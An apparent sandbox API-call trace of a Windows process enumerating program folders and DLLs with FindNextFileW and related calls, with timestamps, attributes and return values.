	[0062.254] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1
	[0062.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.255] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0062.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.256] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0062.257] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.257] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0062.257] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.257] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0062.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.258] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0062.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.261] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1
	[0062.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.262] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1
	[0062.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.263] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0062.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.263] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1
	[0062.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.265] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0062.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.265] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1
	[0062.266] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.266] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1
	[0062.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.267] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0062.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.269] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0062.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.270] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0062.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.270] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0062.270] FindClose (in: hFindFile=0x5e0a30 | out: hFindFile=0x5e0a30) returned 1
	[0062.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0062.270] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1
	[0062.272] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.272] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1
	[0062.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0062.274] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE16", cAlternateFileName="")) returned 1
	[0062.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0062.280] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0
	[0062.280] FindClose (in: hFindFile=0x5e0470 | out: hFindFile=0x5e0470) returned 1
	[0062.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.281] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1
	[0062.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.283] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1
	[0062.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.285] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0062.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.288] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1
	[0062.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0062.289] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0062.289] FindClose (in: hFindFile=0x5e0530 | out: hFindFile=0x5e0530) returned 1
	[0062.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.289] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1
	[0062.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.297] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0062.297] FindClose (in: hFindFile=0x5e0770 | out: hFindFile=0x5e0770) returned 1
	[0062.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.309] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1
	[0062.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.310] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1
	[0062.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.310] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1
	[0062.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.311] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1
	[0062.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0062.311] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1
	[0062.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.312] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 0
	[0062.313] FindClose (in: hFindFile=0x5e03b0 | out: hFindFile=0x5e03b0) returned 1
	[0062.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0062.313] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1
	[0062.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.314] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0062.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0062.704] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1
	[0062.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0062.705] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1
	[0062.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
